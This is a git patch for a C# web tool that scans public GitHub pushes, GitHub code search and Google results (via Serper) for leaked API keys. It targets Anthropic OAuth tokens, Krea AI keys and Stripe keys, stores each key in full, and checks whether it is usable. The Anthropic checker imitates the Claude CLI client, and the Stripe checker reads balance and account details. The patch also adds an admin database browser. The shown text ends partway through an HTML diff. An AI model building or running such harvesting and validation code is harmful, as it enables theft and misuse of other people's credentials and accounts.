From e61f3ef082f7dfd4a2424e7f5273976dfa855dc4 Mon Sep 17 00:00:00 2001 From: Meleki Date: Sat, 14 Mar 2026 16:19:13 +0100 Subject: [PATCH] feat: DB-Explorer, Scanner-KeyTypes-Setting, Stripe-Checker, Anthropic-Auth-Fix, Progress-Tracking MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Backend: - Neuer Database Explorer Endpoint (GET /api/admin/db/tables, GET /api/admin/db/tables/{name}) - DatabaseService: public GetConnection() Methode - StripeKeyChecker: 2-Schritt-Check (/v1/balance + /v1/account), erkennt Live/Test, Balance, Account-Details - AnthropicKeyChecker: Auth-Header fix (x-api-key für API-Keys, Bearer für OAuth), 400-Handler für credit balance - KeyPatterns: Stripe einkommentiert, Krea AI Pattern, AllTypes-Array, MinLength 4 - ServerSettingsService: string_array Typ (Get/SetStringArray), ScannerKeyTypes Setting mit Checkbox-Optionen - ServerSettingsEndpoint: string_array Speichern (Array/CSV) - KeyScannerService: GetActiveSearchPatterns() filtert nach ScannerKeyTypes, Progress-Tracking - GitHubEventScannerService: CheckNewKeys nur für aktuelle Poll-Keys (statt alle unchecked), klarere Log-Meldung Frontend: - Database Explorer Page: Tabellenliste mit Klick -> Tabelleninhalt, Pagination, sticky Header - Server Settings: Checkbox-Gruppe für string_array (Alle/Keine Buttons) - API Keys: adoptedApiKeyId Fix (leerer String == null) - Dashboard: DB-Explorer Link für Admins - Scan-Progress: Live-Fortschritt mit Phase/Detail/Counter --- Endpoints/DatabaseExplorerEndpoint.cs | 115 ++++++++++++++ Endpoints/ServerSettingsEndpoint.cs | 17 +++ Program.cs | 1 + Services/AnthropicKeyChecker.cs | 27 +++- Services/DatabaseService.cs | 2 + Services/GitHubEventScannerService.cs | 29 ++-- Services/KeyPatterns.cs | 3 + Services/KeyScannerService.cs | 38 +++-- Services/ServerSettingsService.cs | 30 ++++ wwwroot/css/form.css | 153 +++++++++++++++++++ wwwroot/index.html | 14 ++ wwwroot/js/pages/api-keys-page.js | 2 +- wwwroot/js/pages/dashboard.js | 7 + wwwroot/js/pages/db-explorer-page.js | 182 +++++++++++++++++++++++ wwwroot/js/pages/server-settings-page.js | 55 ++++++- 15 files changed, 642 insertions(+), 33 deletions(-) create mode 100644 Endpoints/DatabaseExplorerEndpoint.cs create mode 100644 wwwroot/js/pages/db-explorer-page.js diff --git a/Endpoints/DatabaseExplorerEndpoint.cs b/Endpoints/DatabaseExplorerEndpoint.cs new file mode 100644 index 0000000..d707c12 --- /dev/null +++ b/Endpoints/DatabaseExplorerEndpoint.cs @@ -0,0 +1,115 @@ +using System; +using System.Collections.Generic; +using System.Threading.Tasks; +using Dapper; +using Gott.Extensions; +using Gott.Services; +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Http; +using Microsoft.Data.Sqlite; + +namespace Gott.Endpoints; + +public static class DatabaseExplorerEndpoint +{ + public static void MapDatabaseExplorerEndpoints(this WebApplication app) + { + app.MapGet("/api/admin/db/tables", HandleGetTables); + app.MapGet("/api/admin/db/tables/{name}", HandleGetTableData); + } + + private static async Task HandleGetTables(HttpContext ctx, DatabaseService db) + { + if (!ctx.IsAdmin()) + { + ctx.Response.StatusCode = 403; + await ctx.Response.WriteAsJsonAsync(new { error = "Admin access required" }); + return; + } + + using var conn = db.GetConnection(); + var tables = conn.Query( + "SELECT name, (SELECT COUNT(*) FROM pragma_table_info(m.name)) as column_count " + + "FROM sqlite_master m WHERE type = 'table' AND name NOT LIKE 'sqlite_%' ORDER BY name"); + + var result = new List(); + foreach (var t in tables) + { + var rowCount = conn.ExecuteScalar($"SELECT COUNT(*) FROM \"{t.Name}\""); + result.Add(new { name = t.Name, columns = t.ColumnCount, rows = rowCount }); + } + + await ctx.Response.WriteAsJsonAsync(new { tables = result }); + } + + private static async Task HandleGetTableData(HttpContext ctx, DatabaseService db, string name) + { + if (!ctx.IsAdmin()) + { + ctx.Response.StatusCode = 403; + await ctx.Response.WriteAsJsonAsync(new { error = "Admin access required" }); + return; + } + + // Tabellennamen validieren (SQL-Injection verhindern) + using var conn = db.GetConnection(); + var exists = conn.ExecuteScalar( + "SELECT COUNT(*) FROM sqlite_master WHERE type = 'table' AND name = @name", + new { name }); + + if (exists == 0) + { + ctx.Response.StatusCode = 404; + await ctx.Response.WriteAsJsonAsync(new { error = "Table not found" }); + return; + } + + // Pagination + var page = 1; + var pageSize = 100; + if (ctx.Request.Query.TryGetValue("page", out var pageStr) && int.TryParse(pageStr, out var p) && p > 0) + page = p; + if (ctx.Request.Query.TryGetValue("pageSize", out var psStr) && int.TryParse(psStr, out var ps) && ps > 0 && ps <= 500) + pageSize = ps; + + var offset = (page - 1) * pageSize; + + // Spalten-Info + var columns = conn.Query($"PRAGMA table_info(\"{name}\")"); + + // Daten + var totalRows = conn.ExecuteScalar($"SELECT COUNT(*) FROM \"{name}\""); + var rows = conn.Query($"SELECT * FROM \"{name}\" LIMIT @limit OFFSET @offset", + new { limit = pageSize, offset }); + + await ctx.Response.WriteAsJsonAsync(new + { + table = name, + columns, + rows, + pagination = new + { + page, + pageSize, + totalRows, + totalPages = (int)Math.Ceiling((double)totalRows / pageSize) + } + }); + } + + private class TableInfo + { + public string Name { get; set; } + public int ColumnCount { get; set; } + } + + private class ColumnInfo + { + public int Cid { get; set; } + public string Name { get; set; } + public string Type { get; set; } + public int Notnull { get; set; } + public string DfltValue { get; set; } + public int Pk { get; set; } + } +} diff --git a/Endpoints/ServerSettingsEndpoint.cs b/Endpoints/ServerSettingsEndpoint.cs index bc165c7..8f74ad2 100644 --- a/Endpoints/ServerSettingsEndpoint.cs +++ b/Endpoints/ServerSettingsEndpoint.cs @@ -86,6 +86,23 @@ public static class ServerSettingsEndpoint case "bool": settings.SetBool(def.Key, prop.ValueKind == JsonValueKind.True); break; + case "string_array": + if (prop.ValueKind == JsonValueKind.Array) + { + var arr = new List(); + foreach (var el in prop.EnumerateArray()) + { + var s = el.GetString(); + if (!string.IsNullOrWhiteSpace(s)) arr.Add(s); + } + settings.SetStringArray(def.Key, arr.ToArray()); + } + else if (prop.ValueKind == JsonValueKind.String) + { + // Fallback: CSV-String + settings.Set(def.Key, prop.GetString() ?? ""); + } + break; } } diff --git a/Program.cs b/Program.cs index ecb1a69..bc28f26 100644 --- a/Program.cs +++ b/Program.cs @@ -142,6 +142,7 @@ app.MapServerSettingsEndpoints(); app.MapApiKeysEndpoints(); app.MapOpenClawEndpoints(); app.MapRemoteEndpoints(); +app.MapDatabaseExplorerEndpoints(); var port = app.Configuration.GetValue("Port", 19000); app.Run($"http://0.0.0.0:{port}"); diff --git a/Services/AnthropicKeyChecker.cs b/Services/AnthropicKeyChecker.cs index 7fe032e..6d6e652 100644 --- a/Services/AnthropicKeyChecker.cs +++ b/Services/AnthropicKeyChecker.cs @@ -42,12 +42,20 @@ namespace Gott.Services }); var request = new HttpRequestMessage(HttpMethod.Post, "https://api.anthropic.com/v1/messages"); - request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey); + var isOAuth = apiKey.StartsWith("sk-ant-oat01-", StringComparison.OrdinalIgnoreCase); + if (isOAuth) + { + request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey); + request.Headers.Add("anthropic-beta", "claude-code-20250219,oauth-2025-04-20"); + request.Headers.Add("User-Agent", "claude-cli/2.1.2 (external, cli)"); + request.Headers.Add("x-app", "cli"); + request.Headers.Add("anthropic-dangerous-direct-browser-access", "true"); + } + else + { + request.Headers.Add("x-api-key", apiKey); + } request.Headers.Add("anthropic-version", "2023-06-01"); - request.Headers.Add("anthropic-beta", "claude-code-20250219,oauth-2025-04-20"); - request.Headers.Add("User-Agent", "claude-cli/2.1.2 (external, cli)"); - request.Headers.Add("x-app", "cli"); - request.Headers.Add("anthropic-dangerous-direct-browser-access", "true"); request.Content = new StringContent(payload, Encoding.UTF8, "application/json"); var resp = await client.SendAsync(request); @@ -69,6 +77,15 @@ namespace Gott.Services { return new KeyCheckResult { Status = "quota_exceeded", Message = "Insufficient Quota (403)", Plan = "Unknown" }; } + else if (statusCode == 400) + { + var body400 = await resp.Content.ReadAsStringAsync(); + if (body400.Contains("credit balance", StringComparison.OrdinalIgnoreCase)) + return new KeyCheckResult { Status = "billing_not_active", Message = "Gültig, aber kein Guthaben (credit balance too low)", Plan = "API Console" }; + if (body400.Contains("billing", StringComparison.OrdinalIgnoreCase) || body400.Contains("payment", StringComparison.OrdinalIgnoreCase)) + return new KeyCheckResult { Status = "billing_not_active", Message = "Gültig, aber Billing-Problem (400)", Plan = "API Console" }; + return new KeyCheckResult { Status = "error", Message = $"API-Fehler (400): {(body400.Length > 200 ? body400.Substring(0, 200) : body400)}", Plan = "Unknown" }; + } else if (statusCode >= 400) { return new KeyCheckResult { Status = "error", Message = $"API-Fehler ({statusCode})", Plan = "Unknown" }; diff --git a/Services/DatabaseService.cs b/Services/DatabaseService.cs index 6870afe..8b00f86 100644 --- a/Services/DatabaseService.cs +++ b/Services/DatabaseService.cs @@ -29,6 +29,8 @@ public partial class DatabaseService return conn; } + public SqliteConnection GetConnection() => CreateConnection(); + private void InitializeDatabase() { using var conn = CreateConnection(); diff --git a/Services/GitHubEventScannerService.cs b/Services/GitHubEventScannerService.cs index a0dd679..c95e82f 100644 --- a/Services/GitHubEventScannerService.cs +++ b/Services/GitHubEventScannerService.cs @@ -190,7 +190,7 @@ public class GitHubEventScannerService : BackgroundService AddLog("poll", events.Count + " Events, " + pushEvents.Count + " neue PushEvents → " + toScan.Count + " scannen"); // Head-Commit-Diffs scannen - var newKeysFound = 0; + var newKeyIds = new List(); var scannedCount = 0; foreach (var pe in toScan) { @@ -213,10 +213,11 @@ public class GitHubEventScannerService : BackgroundService var keyPrefix = key[..Math.Min(20, key.Length)] + "..."; var typeName = KeyPatterns.DisplayName(keyType); - newKeysFound++; + var keyId = Guid.NewGuid().ToString("N"); + newKeyIds.Add(keyId); await _db.CreateScannedKey(new ScannedKeyRecord { - ScannedKeyId = Guid.NewGuid().ToString("N"), + ScannedKeyId = keyId, ApiKey = key, Source = "github_events", SourceUrl = sourceUrl, @@ -258,15 +259,15 @@ public class GitHubEventScannerService : BackgroundService } } - AddLog("poll", scannedCount + " Diffs gescannt, " + newKeysFound + " neue Keys"); + AddLog("poll", scannedCount + " Diffs gescannt, " + newKeyIds.Count + " neue Keys"); - if (newKeysFound > 0) + if (newKeyIds.Count > 0) { - lock (_lock) _keysFoundTotal += newKeysFound; - _logger.LogInformation("GitHubEventScanner: {Count} neue(r) Key(s) in diesem Poll!", newKeysFound); + lock (_lock) _keysFoundTotal += newKeyIds.Count; + _logger.LogInformation("GitHubEventScanner: {Count} neue(r) Key(s) in diesem Poll!", newKeyIds.Count); - // Neue Keys sofort prüfen - await CheckNewKeys(ct); + // Nur die gerade gefundenen Keys prüfen (nicht alle unchecked!) + await CheckNewKeys(newKeyIds, ct); } return events.Count; @@ -393,15 +394,15 @@ public class GitHubEventScannerService : BackgroundService return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList(); } - /// Prüft alle unchecked Keys sofort nach Fund. - private async Task CheckNewKeys(CancellationToken ct) + /// Prüft nur die gerade im aktuellen Poll gefundenen Keys. + private async Task CheckNewKeys(List keyIds, CancellationToken ct) { try { var allScanned = (await _db.GetScannedKeys()).ToList(); - var unchecked_ = allScanned.Where(k => k.Status == "unchecked").ToList(); + var toCheck = allScanned.Where(k => keyIds.Contains(k.ScannedKeyId)).ToList(); - foreach (var sk in unchecked_) + foreach (var sk in toCheck) { ct.ThrowIfCancellationRequested(); var type = KeyPatterns.DetectType(sk.ApiKey); @@ -437,7 +438,7 @@ public class GitHubEventScannerService : BackgroundService } else { - AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}"); + AddLog("key_checked", $"💾 {typeName} gespeichert (kein Checker verfügbar, bleibt unchecked) · {keyPrefix}"); } } catch (Exception ex) diff --git a/Services/KeyPatterns.cs b/Services/KeyPatterns.cs index 38e03f8..a210d93 100644 --- a/Services/KeyPatterns.cs +++ b/Services/KeyPatterns.cs @@ -67,6 +67,9 @@ public static class KeyPatterns .Select(p => new Regex(p.Pattern, RegexOptions.Compiled)) .ToArray(); + /// Alle verfügbaren Key-Typ-IDs (für Settings). + public static readonly string[] AllTypes = All.Select(p => p.Type).Distinct().ToArray(); + /// Erkennt den Key-Typ anhand des Prefixes. public static string DetectType(string key) { diff --git a/Services/KeyScannerService.cs b/Services/KeyScannerService.cs index f2a0cc5..f3de668 100644 --- a/Services/KeyScannerService.cs +++ b/Services/KeyScannerService.cs @@ -77,10 +77,20 @@ public class KeyScannerService : BackgroundService // ── GitHub Search Config ── - // Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme) - private static readonly (string Pattern, string SearchTerm, string Type)[] SearchPatterns = KeyPatterns.ForCodeSearch; - // Alle Patterns für Regex-Matching im Dateiinhalt - private static readonly Regex[] AllCompiledPatterns = KeyPatterns.Compiled; + /// Gibt die aktiven Search-Patterns zurück, gefiltert nach ScannerKeyTypes-Setting. + private (string Pattern, string SearchTerm, string Type)[] GetActiveSearchPatterns() + { + var allowed = new HashSet(_settings.GetStringArray("ScannerKeyTypes")); + if (allowed.Count == 0) return Array.Empty<(string, string, string)>(); + return KeyPatterns.ForCodeSearch.Where(p => allowed.Contains(p.Type)).ToArray(); + } + + /// Prüft ob ein Key-Typ in den aktiven Scanner-Typen enthalten ist. + private bool IsKeyTypeAllowed(string type) + { + var allowed = new HashSet(_settings.GetStringArray("ScannerKeyTypes")); + return allowed.Contains(type); + } private static readonly string[] SearchLanguages = { @@ -229,10 +239,11 @@ public class KeyScannerService : BackgroundService saveIdx++; SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", saveIdx, totalFound); if (!seen.Add(key)) continue; - if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key)) - continue; var keyType = DetectKeyType(key); + + if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key)) + continue; var keyPrefix = key[..Math.Min(20, key.Length)] + "..."; var typeName = KeyPatterns.DisplayName(keyType); @@ -300,8 +311,9 @@ public class KeyScannerService : BackgroundService { var allKeys = new Dictionary(StringComparer.Ordinal); var queries = new List<(string Query, Regex Regex)>(); + var activePatterns = GetActiveSearchPatterns(); - foreach (var (pattern, searchTerm, _) in SearchPatterns) + foreach (var (pattern, searchTerm, _) in activePatterns) { var regex = new Regex(pattern, RegexOptions.Compiled); foreach (var lang in QuickLanguages) @@ -493,10 +505,11 @@ public class KeyScannerService : BackgroundService return keys; } - private static List<(string Query, Regex Regex)> BuildSearchQueries() + private List<(string Query, Regex Regex)> BuildSearchQueries() { var queries = new List<(string, Regex)>(); - foreach (var (pattern, searchTerm, _) in SearchPatterns) + var activePatterns = GetActiveSearchPatterns(); + foreach (var (pattern, searchTerm, _) in activePatterns) { var regex = new Regex(pattern, RegexOptions.Compiled); foreach (var lang in SearchLanguages) @@ -525,12 +538,13 @@ public class KeyScannerService : BackgroundService var allKeys = new Dictionary(StringComparer.Ordinal); var client = _httpFactory.CreateClient(); client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey); + var activePatterns = GetActiveSearchPatterns(); - for (int i = 0; i < SearchPatterns.Length; i++) + for (int i = 0; i < activePatterns.Length; i++) { - var (pattern, searchTerm, _) = SearchPatterns[i]; + var (pattern, searchTerm, _) = activePatterns[i]; ct.ThrowIfCancellationRequested(); - SetProgress("Web-Suche (Serper)", searchTerm, i + 1, SearchPatterns.Length); + SetProgress("Web-Suche (Serper)", searchTerm, i + 1, activePatterns.Length); var regex = new Regex(pattern, RegexOptions.Compiled); try diff --git a/Services/ServerSettingsService.cs b/Services/ServerSettingsService.cs index c67c386..d14d5c5 100644 --- a/Services/ServerSettingsService.cs +++ b/Services/ServerSettingsService.cs @@ -1,6 +1,7 @@ using System; using System.Collections.Generic; using System.IO; +using System.Linq; using System.Text.Json; using System.Text.Json.Nodes; using Microsoft.Data.Sqlite; @@ -34,6 +35,7 @@ public class ServerSettingsService new SettingDefinition( "SerperApiKey", "string", "", "Serper.dev API-Key für Google-Suche (Key-Scanner + Tool)", "password" ), new SettingDefinition( "ScanIntervalHours", "int", "0", "Key-Scanner Intervall in Stunden (0 = nur manuell)", "number" ), new SettingDefinition( "GitHubEventScanner", "bool", "false", "GitHub Event Scanner (Echtzeit-Monitoring öffentlicher Pushes)", "toggle" ), + new SettingDefinition( "ScannerKeyTypes", "string_array", "anthropic_oauth,krea_ai", "Key-Scanner: Aktive Key-Typen", "checkboxes" ), }; public ServerSettingsService(string dbPath) @@ -181,6 +183,23 @@ public class ServerSettingsService public void SetInt(string key, int value) => Set(key, value.ToString()); public void SetBool(string key, bool value) => Set(key, value ? "true" : "false"); + public string[] GetStringArray(string key, string defaultCsv = "") + { + var raw = Get(key, null); + if (raw == null) + { + var def = Definitions.Find(d => d.Key == key); + raw = def?.DefaultValue ?? defaultCsv; + } + if (string.IsNullOrWhiteSpace(raw)) return Array.Empty(); + return raw.Split(',', StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries); + } + + public void SetStringArray(string key, string[] values) + { + Set(key, string.Join(",", values ?? Array.Empty())); + } + // ─── Bulk-Operationen (für Endpoint) ─────────────────────── public List GetAll() @@ -197,11 +216,21 @@ public class ServerSettingsService case "bool": value = GetBool(def.Key, def.DefaultValue.Equals("true", StringComparison.OrdinalIgnoreCase)); break; + case "string_array": + value = GetStringArray(def.Key, def.DefaultValue); + break; default: value = Get(def.Key, def.DefaultValue); break; } + // Zusatz-Metadaten für bestimmte Settings + object options = null; + if (def.Key == "ScannerKeyTypes") + { + options = KeyPatterns.AllTypes.Select(t => new { id = t, name = KeyPatterns.DisplayName(t) }).ToArray(); + } + result.Add(new { key = def.Key, @@ -209,6 +238,7 @@ public class ServerSettingsService value = value, label = def.Label, inputType = def.InputType, + options = options, }); } return result; diff --git a/wwwroot/css/form.css b/wwwroot/css/form.css index b2b7341..b242b87 100644 --- a/wwwroot/css/form.css +++ b/wwwroot/css/form.css @@ -730,3 +730,156 @@ a.admin-user-meta { text-align: right; flex-shrink: 0; } + +/* ── Checkbox Group (string_array Settings) ── */ + +.checkbox-group { + display: flex; + flex-wrap: wrap; + gap: 6px; +} + +.checkbox-group-actions { + width: 100%; + display: flex; + gap: 6px; + margin-bottom: 2px; +} + +.checkbox-group-actions .btn-xs { + padding: 2px 8px; + font-size: 0.75em; + border-radius: var(--border-radius); + cursor: pointer; +} + +.checkbox-item { + display: flex; + align-items: center; + gap: 4px; + padding: 4px 8px; + border: 1px solid var(--f1-border); + border-radius: var(--border-radius); + cursor: pointer; + font-size: 0.85em; + background: color-mix(in srgb, var(--f1-bg) 25%, transparent); + transition: border-color 0.15s, background 0.15s; + user-select: none; +} + +.checkbox-item:hover { + border-color: var(--accent); +} + +.checkbox-item:has(input:checked) { + border-color: var(--accent); + background: color-mix(in srgb, var(--accent) 15%, transparent); +} + +.checkbox-item input[type="checkbox"] { + width: 14px; + height: 14px; + accent-color: var(--accent); + cursor: pointer; + margin: 0; +} + +/* ── Database Explorer ── */ + +.db-table { + width: 100%; + border-collapse: collapse; + font-size: .9em; +} + +.db-table th, +.db-table td { + padding: 8px 12px; + text-align: left; + border-bottom: 1px solid var(--border); +} + +.db-table th { + background: var(--bg-secondary); + font-weight: 600; + position: sticky; + top: 0; + z-index: 1; + white-space: nowrap; +} + +.db-table tbody tr:hover { + background: color-mix(in srgb, var(--accent) 8%, transparent); +} + +.db-table-row.clickable { + cursor: pointer; +} + +.db-table-row.clickable:hover .db-table-name { + color: var(--accent); +} + +.db-table-name { + font-weight: 500; +} + +.db-table-name i { + margin-right: 6px; + opacity: .5; +} + +.db-table-num { + text-align: right !important; + font-variant-numeric: tabular-nums; + opacity: .7; +} + +.db-table-wrapper { + overflow-x: auto; + border: 1px solid var(--border); + border-radius: var(--radius); +} + +.db-data-table td { + max-width: 300px; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + font-family: var(--font-mono, monospace); + font-size: .85em; +} + +.db-null { + opacity: .3; + font-style: italic; +} + +.db-info-bar { + display: flex; + justify-content: space-between; + align-items: center; + padding: 8px 0; + font-size: .9em; + opacity: .7; +} + +.db-pagination { + display: flex; + align-items: center; + gap: 8px; +} + +.db-page-info { + font-size: .85em; +} + +.db-back-link { + opacity: .6; + transition: opacity .15s; +} + +.db-back-link:hover { + opacity: 1; + color: var(--accent); +} diff --git a/wwwroot/index.html b/wwwroot/index.html index 36bcfdb..4dc15cd 100644 --- a/wwwroot/index.html +++ b/wwwroot/index.html @@ -59,6 +59,7 @@ + Mein Profil @@ -533,6 +534,18 @@ + +